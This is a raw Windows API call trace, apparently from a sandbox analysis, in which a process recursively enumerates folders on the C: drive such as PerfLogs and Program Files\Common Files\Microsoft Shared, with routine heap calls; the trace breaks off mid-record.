FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16771fb0, ftCreationTime.dwHighDateTime=0x1cb12b4, ftLastAccessTime.dwLowDateTime=0x16771fb0, ftLastAccessTime.dwHighDateTime=0x1cb12b4, ftLastWriteTime.dwLowDateTime=0x46536400, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x10b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32WW.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec54b6b0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xec54b6b0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x4a687710, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0x0, dwReserved1=0x0, cFileName="ose.exe", cAlternateFileName="")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0054.705] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb7e7af0, ftCreationTime.dwHighDateTime=0x1cb04a9, ftLastAccessTime.dwLowDateTime=0xeb7e7af0, ftLastAccessTime.dwHighDateTime=0x1cb04a9, ftLastWriteTime.dwLowDateTime=0x49c691c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0054.706] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80aa51d0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80aa51d0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0054.706] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x749b0240, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x749b0240, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x46a46a30, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb9fa2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.cab", cAlternateFileName="")) returned 1 [0054.706] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80711960, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80711960, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468ee660, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xb80800, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.msi", cAlternateFileName="")) returned 1 [0054.706] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0054.706] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0 [0054.706] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.706] GetProcessHeap () returned 0x730000 [0054.706] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0054.706] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 0 [0054.706] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0054.706] GetProcessHeap () returned 0x730000 [0054.706] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.707] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 0 [0054.707] FindClose (in: hFindFile=0x752c58 | out: hFindFile=0x752c58) returned 1 [0054.708] GetProcessHeap () returned 0x730000 [0054.708] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x785be0 | out: hHeap=0x730000) returned 1 [0054.708] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x6264280, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0054.708] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0054.708] GetProcessHeap () returned 0x730000 [0054.708] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e80868 [0054.708] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\*", lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.709] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.709] FindNextFileW (in: hFindFile=0x752310, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0054.709] GetProcessHeap () returned 0x730000 [0054.709] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2eb2890 [0054.709] FindFirstFileW (in: lpFileName="\\\\?\\C:\\PerfLogs\\Admin\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752c58 [0054.709] FindClose (in: hFindFile=0x752c58 | out: hFindFile=0x752c58) returned 1 [0054.710] GetProcessHeap () returned 0x730000 [0054.710] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2eb2890 | out: hHeap=0x730000) returned 1 [0054.710] FindClose (in: hFindFile=0x752310 | out: hFindFile=0x752310) returned 1 [0054.710] GetProcessHeap () returned 0x730000 [0054.710] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e80868 | out: hHeap=0x730000) returned 1 [0054.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\*", lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe1adcd40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1adcd40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752310 [0054.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbf5dfa0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbf5dfa0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752c58 [0054.710] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69da35f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0054.711] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0054.711] GetProcessHeap () returned 0x730000 [0054.711] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x785be0 | out: hHeap=0x730000) returned 1 [0054.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0054.711] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.713] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.713] GetProcessHeap () returned 0x730000 [0054.713] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.713] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.714] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\1033\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.715] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.715] GetProcessHeap () returned 0x730000 [0054.715] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.715] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.715] GetProcessHeap () returned 0x730000 [0054.715] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.715] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EURO\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58c7d970, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x58c7d970, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58c7d970, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.716] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.716] GetProcessHeap () returned 0x730000 [0054.716] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.718] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7522d0 [0054.719] FindClose (in: hFindFile=0x7522d0 | out: hFindFile=0x7522d0) returned 1 [0054.719] GetProcessHeap () returned 0x730000 [0054.719] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ea2888 | out: hHeap=0x730000) returned 1 [0054.719] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.721] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.722] GetProcessHeap () returned 0x730000 [0054.722] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.722] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.723] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0054.723] GetProcessHeap () returned 0x730000 [0054.723] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x795be8 | out: hHeap=0x730000) returned 1 [0054.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*", lpFindFileData=0x27fefa0 | out: lpFindFileData=0x27fefa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0054.723] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.724] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.724] GetProcessHeap () returned 0x730000 [0054.724] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.724] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\bg-BG\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.725] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.725] GetProcessHeap () returned 0x730000 [0054.725] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.725] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.725] GetProcessHeap () returned 0x730000 [0054.725] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.725] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.725] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.725] GetProcessHeap () returned 0x730000 [0054.726] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.726] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0054.726] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0054.726] GetProcessHeap () returned 0x730000 [0054.726] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2ec2898 | out: hHeap=0x730000) returned 1 [0054.727] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", lpFindFileData=0x27fed18 | out: lpFindFileData=0x27fed18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, 